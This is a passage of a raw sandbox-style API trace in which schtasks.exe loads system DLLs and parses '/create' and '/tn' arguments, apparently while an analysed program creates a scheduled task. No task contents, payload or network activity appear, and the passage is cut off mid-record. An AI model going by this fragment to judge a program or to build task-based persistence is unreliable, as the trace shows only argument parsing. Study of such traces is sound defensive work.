0x1ae834f12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2972 start_va = 0x1ae83930000 end_va = 0x1ae83ab7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001ae83930000" filename = "" Region: id = 2973 start_va = 0x7ffb1fe60000 end_va = 0x7ffb1fe9afff monitored = 0 entry_point = 0x7ffb1fe612f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2974 start_va = 0x1ae83300000 end_va = 0x1ae83300fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001ae83300000" filename = "" Region: id = 2975 start_va = 0x1ae834f0000 end_va = 0x1ae834f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001ae834f0000" filename = "" Region: id = 2976 start_va = 0x1ae83ac0000 end_va = 0x1ae83c40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001ae83ac0000" filename = "" Region: id = 2977 start_va = 0x1ae83c50000 end_va = 0x1ae8504ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001ae83c50000" filename = "" Region: id = 2978 start_va = 0x7ffb20080000 end_va = 0x7ffb200dafff monitored = 0 entry_point = 0x7ffb200938b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2979 start_va = 0x1ae83500000 end_va = 0x1ae83500fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001ae83500000" filename = "" Region: id = 2980 start_va = 0x7ffb1d830000 end_va = 0x7ffb1d8d6fff monitored = 0 entry_point = 0x7ffb1d83b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2981 start_va = 0x1ae83510000 end_va = 0x1ae83510fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001ae83510000" filename = "" Region: id = 2982 start_va = 0x7ffb18f90000 end_va = 0x7ffb1904efff monitored = 0 entry_point = 0x7ffb18fb1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2983 start_va = 0x7ffb1c450000 end_va = 0x7ffb1c47cfff monitored = 0 entry_point = 0x7ffb1c469d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3046 start_va = 0x7ffb190b0000 end_va = 0x7ffb190e5fff monitored = 0 entry_point = 0x7ffb190c0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 153 os_tid = 0x1340 [0131.329] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6b6f50000 [0131.329] __set_app_type (_Type=0x1) [0131.329] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6b6f748d0) returned 0x0 [0131.329] __wgetmainargs (in: _Argc=0x7ff6b6f87ff8, _Argv=0x7ff6b6f88000, _Env=0x7ff6b6f88008, _DoWildCard=0, _StartInfo=0x7ff6b6f88014 | out: _Argc=0x7ff6b6f87ff8, _Argv=0x7ff6b6f88000, _Env=0x7ff6b6f88008) returned 0 [0131.330] _onexit (_Func=0x7ff6b6f77ec0) returned 0x7ff6b6f77ec0 [0131.330] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0131.330] CsrIdentifyAlertableThread () returned 0x0 [0131.330] GetProcessHeap () returned 0x1ae83310000 [0131.330] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x18) returned 0x1ae83314a60 [0131.330] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.331] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0131.331] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0131.331] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0131.331] RtlVerifyVersionInfo (VersionInfo=0x6088e7f3f0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0131.331] GetProcessHeap () returned 0x1ae83310000 [0131.331] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x18) returned 0x1ae83314a80 [0131.331] lstrlenW (lpString="") returned 0 [0131.331] GetProcessHeap () returned 0x1ae83310000 [0131.331] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x2) returned 0x1ae83314aa0 [0131.331] GetProcessHeap () returned 0x1ae83310000 [0131.331] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae83314410 [0131.331] GetProcessHeap () returned 0x1ae83310000 [0131.331] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x18) returned 0x1ae83314440 [0131.331] GetProcessHeap () returned 0x1ae83310000 [0131.331] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae83314460 [0131.331] GetProcessHeap () returned 0x1ae83310000 [0131.331] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae83314490 [0131.331] GetProcessHeap () returned 0x1ae83310000 [0131.331] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae83314000 [0131.331] GetProcessHeap () returned 0x1ae83310000 [0131.331] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae83314030 [0131.332] GetProcessHeap () returned 0x1ae83310000 [0131.332] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x18) returned 0x1ae83314060 [0131.332] GetProcessHeap () returned 0x1ae83310000 [0131.332] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae83318ce0 [0131.332] GetProcessHeap () returned 0x1ae83310000 [0131.332] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae83318bc0 [0131.332] GetProcessHeap () returned 0x1ae83310000 [0131.332] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae83318c80 [0131.332] GetProcessHeap () returned 0x1ae83310000 [0131.332] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae83318a70 [0131.332] GetProcessHeap () returned 0x1ae83310000 [0131.332] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x18) returned 0x1ae83314080 [0131.332] GetProcessHeap () returned 0x1ae83310000 [0131.332] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae83318bf0 [0131.332] GetProcessHeap () returned 0x1ae83310000 [0131.333] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae83318b00 [0131.333] GetProcessHeap () returned 0x1ae83310000 [0131.333] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae83318aa0 [0131.333] GetProcessHeap () returned 0x1ae83310000 [0131.333] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae83318d10 [0131.333] SetThreadUILanguage (LangId=0x0) returned 0x409 [0131.371] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.371] GetProcessHeap () returned 0x1ae83310000 [0131.371] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae83318a40 [0131.371] GetProcessHeap () returned 0x1ae83310000 [0131.371] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae83318b30 [0131.371] GetProcessHeap () returned 0x1ae83310000 [0131.371] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae83318b60 [0131.372] GetProcessHeap () returned 0x1ae83310000 [0131.372] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae83318c50 [0131.372] GetProcessHeap () returned 0x1ae83310000 [0131.372] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae83318d40 [0131.372] GetProcessHeap () returned 0x1ae83310000 [0131.372] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x18) returned 0x1ae83312130 [0131.372] _memicmp (_Buf1=0x1ae83312130, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.372] GetProcessHeap () returned 0x1ae83310000 [0131.372] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x208) returned 0x1ae83319a80 [0131.372] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1ae83319a80, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0131.372] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x6088e7f548 | out: lpdwHandle=0x6088e7f548) returned 0x76c [0131.374] GetProcessHeap () returned 0x1ae83310000 [0131.374] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x776) returned 0x1ae8331a7e0 [0131.374] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x1ae8331a7e0 | out: lpData=0x1ae8331a7e0) returned 1 [0131.374] VerQueryValueW (in: pBlock=0x1ae8331a7e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x6088e7f4e0, puLen=0x6088e7f540 | out: lplpBuffer=0x6088e7f4e0*=0x1ae8331ab90, puLen=0x6088e7f540) returned 1 [0131.377] _memicmp (_Buf1=0x1ae83312130, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.377] _vsnwprintf (in: _Buffer=0x1ae83319a80, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x6088e7f4b8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0131.377] VerQueryValueW (in: pBlock=0x1ae8331a7e0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x6088e7f4d0, puLen=0x6088e7f538 | out: lplpBuffer=0x6088e7f4d0*=0x1ae8331a9c0, puLen=0x6088e7f538) returned 1 [0131.377] lstrlenW (lpString="schtasks.exe") returned 12 [0131.377] lstrlenW (lpString="schtasks.exe") returned 12 [0131.377] lstrlenW (lpString=".EXE") returned 4 [0131.377] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0131.378] lstrlenW (lpString="schtasks.exe") returned 12 [0131.378] lstrlenW (lpString=".EXE") returned 4 [0131.378] _memicmp (_Buf1=0x1ae83312130, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.378] lstrlenW (lpString="schtasks") returned 8 [0131.378] GetProcessHeap () returned 0x1ae83310000 [0131.378] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae83318d70 [0131.378] GetProcessHeap () returned 0x1ae83310000 [0131.378] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae83318da0 [0131.378] GetProcessHeap () returned 0x1ae83310000 [0131.378] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae8331b440 [0131.378] GetProcessHeap () returned 0x1ae83310000 [0131.378] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae8331b8c0 [0131.378] GetProcessHeap () returned 0x1ae83310000 [0131.378] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x18) returned 0x1ae83314850 [0131.379] _memicmp (_Buf1=0x1ae83314850, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.379] GetProcessHeap () returned 0x1ae83310000 [0131.379] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0xa0) returned 0x1ae83314290 [0131.379] GetProcessHeap () returned 0x1ae83310000 [0131.379] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae8331b2f0 [0131.379] GetProcessHeap () returned 0x1ae83310000 [0131.379] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae8331b590 [0131.379] GetProcessHeap () returned 0x1ae83310000 [0131.379] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae8331b350 [0131.379] GetProcessHeap () returned 0x1ae83310000 [0131.379] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x18) returned 0x1ae83314740 [0131.379] _memicmp (_Buf1=0x1ae83314740, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.379] GetProcessHeap () returned 0x1ae83310000 [0131.379] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x200) returned 0x1ae8331bab0 [0131.379] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1ae8331bab0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0131.379] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0131.379] GetProcessHeap () returned 0x1ae83310000 [0131.379] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x30) returned 0x1ae83314340 [0131.379] _vsnwprintf (in: _Buffer=0x1ae83314290, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x6088e7f4b8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0131.379] GetProcessHeap () returned 0x1ae83310000 [0131.379] GetProcessHeap () returned 0x1ae83310000 [0131.379] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331a7e0) returned 1 [0131.379] GetProcessHeap () returned 0x1ae83310000 [0131.379] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331a7e0) returned 0x776 [0131.381] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331a7e0) returned 1 [0131.381] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.381] GetThreadLocale () returned 0x409 [0131.381] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.381] lstrlenW (lpString="?") returned 1 [0131.381] GetThreadLocale () returned 0x409 [0131.381] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.381] lstrlenW (lpString="create") returned 6 [0131.381] GetThreadLocale () returned 0x409 [0131.381] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.381] lstrlenW (lpString="delete") returned 6 [0131.381] GetThreadLocale () returned 0x409 [0131.381] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.381] lstrlenW (lpString="query") returned 5 [0131.381] GetThreadLocale () returned 0x409 [0131.383] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.383] lstrlenW (lpString="change") returned 6 [0131.383] GetThreadLocale () returned 0x409 [0131.383] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.383] lstrlenW (lpString="run") returned 3 [0131.383] GetThreadLocale () returned 0x409 [0131.383] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.383] lstrlenW (lpString="end") returned 3 [0131.383] GetThreadLocale () returned 0x409 [0131.383] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.383] lstrlenW (lpString="showsid") returned 7 [0131.383] GetThreadLocale () returned 0x409 [0131.383] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0131.383] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.383] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.383] lstrlenW (lpString="/create") returned 7 [0131.383] lstrlenW (lpString="-/") returned 2 [0131.383] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.383] lstrlenW (lpString="?") returned 1 [0131.383] lstrlenW (lpString="?") returned 1 [0131.383] GetProcessHeap () returned 0x1ae83310000 [0131.383] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x18) returned 0x1ae83314380 [0131.383] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.383] GetProcessHeap () returned 0x1ae83310000 [0131.383] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0xa) returned 0x1ae83313910 [0131.384] lstrlenW (lpString="create") returned 6 [0131.384] GetProcessHeap () returned 0x1ae83310000 [0131.384] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x18) returned 0x1ae83313930 [0131.384] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.384] GetProcessHeap () returned 0x1ae83310000 [0131.384] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x14) returned 0x1ae8331a9f0 [0131.384] _vsnwprintf (in: _Buffer=0x1ae83313910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|?|") returned 3 [0131.384] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|create|") returned 8 [0131.384] lstrlenW (lpString="|?|") returned 3 [0131.384] lstrlenW (lpString="|create|") returned 8 [0131.384] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.384] lstrlenW (lpString="create") returned 6 [0131.384] lstrlenW (lpString="create") returned 6 [0131.384] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.384] GetProcessHeap () returned 0x1ae83310000 [0131.384] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83313910) returned 1 [0131.384] GetProcessHeap () returned 0x1ae83310000 [0131.384] RtlReAllocateHeap (Heap=0x1ae83310000, Flags=0xc, Ptr=0x1ae83313910, Size=0x14) returned 0x1ae83313950 [0131.384] lstrlenW (lpString="create") returned 6 [0131.384] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.384] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|create|") returned 8 [0131.384] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|create|") returned 8 [0131.384] lstrlenW (lpString="|create|") returned 8 [0131.384] lstrlenW (lpString="|create|") returned 8 [0131.384] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0131.384] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.384] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.384] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.384] lstrlenW (lpString="/tn") returned 3 [0131.384] lstrlenW (lpString="-/") returned 2 [0131.384] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.385] lstrlenW (lpString="?") returned 1 [0131.385] lstrlenW (lpString="?") returned 1 [0131.385] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.385] lstrlenW (lpString="tn") returned 2 [0131.385] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.385] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|?|") returned 3 [0131.385] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|tn|") returned 4 [0131.385] lstrlenW (lpString="|?|") returned 3 [0131.385] lstrlenW (lpString="|tn|") returned 4 [0131.385] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.385] lstrlenW (lpString="create") returned 6 [0131.385] lstrlenW (lpString="create") returned 6 [0131.385] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.385] lstrlenW (lpString="tn") returned 2 [0131.385] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.385] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|create|") returned 8 [0131.385] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|tn|") returned 4 [0131.385] lstrlenW (lpString="|create|") returned 8 [0131.385] lstrlenW (lpString="|tn|") returned 4 [0131.385] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0131.385] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.385] lstrlenW (lpString="delete") returned 6 [0131.385] lstrlenW (lpString="delete") returned 6 [0131.385] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.385] lstrlenW (lpString="tn") returned 2 [0131.385] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.385] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|delete|") returned 8 [0131.385] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|tn|") returned 4 [0131.386] lstrlenW (lpString="|delete|") returned 8 [0131.386] lstrlenW (lpString="|tn|") returned 4 [0131.386] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0131.386] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.386] lstrlenW (lpString="query") returned 5 [0131.386] lstrlenW (lpString="query") returned 5 [0131.386] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.386] lstrlenW (lpString="tn") returned 2 [0131.386] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.386] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x8, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|query|") returned 7 [0131.386] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|tn|") returned 4 [0131.386] lstrlenW (lpString="|query|") returned 7 [0131.386] lstrlenW (lpString="|tn|") returned 4 [0131.386] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0131.386] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.386] lstrlenW (lpString="change") returned 6 [0131.386] lstrlenW (lpString="change") returned 6 [0131.386] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.386] lstrlenW (lpString="tn") returned 2 [0131.386] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.386] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|change|") returned 8 [0131.386] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|tn|") returned 4 [0131.386] lstrlenW (lpString="|change|") returned 8 [0131.386] lstrlenW (lpString="|tn|") returned 4 [0131.386] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0131.386] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.386] lstrlenW (lpString="run") returned 3 [0131.386] lstrlenW (lpString="run") returned 3 [0131.386] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.387] lstrlenW (lpString="tn") returned 2 [0131.387] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.387] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x6, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|run|") returned 5 [0131.387] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|tn|") returned 4 [0131.387] lstrlenW (lpString="|run|") returned 5 [0131.387] lstrlenW (lpString="|tn|") returned 4 [0131.387] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0131.387] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.387] lstrlenW (lpString="end") returned 3 [0131.387] lstrlenW (lpString="end") returned 3 [0131.387] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.387] lstrlenW (lpString="tn") returned 2 [0131.387] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.387] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x6, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|end|") returned 5 [0131.387] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|tn|") returned 4 [0131.387] lstrlenW (lpString="|end|") returned 5 [0131.387] lstrlenW (lpString="|tn|") returned 4 [0131.387] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0131.387] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.387] lstrlenW (lpString="showsid") returned 7 [0131.387] lstrlenW (lpString="showsid") returned 7 [0131.387] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.387] GetProcessHeap () returned 0x1ae83310000 [0131.387] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83313950) returned 1 [0131.387] GetProcessHeap () returned 0x1ae83310000 [0131.387] RtlReAllocateHeap (Heap=0x1ae83310000, Flags=0xc, Ptr=0x1ae83313950, Size=0x16) returned 0x1ae83313950 [0131.387] lstrlenW (lpString="tn") returned 2 [0131.387] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.388] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0xa, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|showsid|") returned 9 [0131.388] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|tn|") returned 4 [0131.388] lstrlenW (lpString="|showsid|") returned 9 [0131.388] lstrlenW (lpString="|tn|") returned 4 [0131.388] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0131.388] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.388] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.388] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.388] lstrlenW (lpString="/tn") returned 3 [0131.388] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0131.388] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.388] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.388] lstrlenW (lpString="/tn") returned 3 [0131.388] GetProcessHeap () returned 0x1ae83310000 [0131.388] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x8) returned 0x1ae83313910 [0131.388] GetProcessHeap () returned 0x1ae83310000 [0131.388] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae8331b6e0 [0131.388] RtlRestoreLastWin32Error () returned 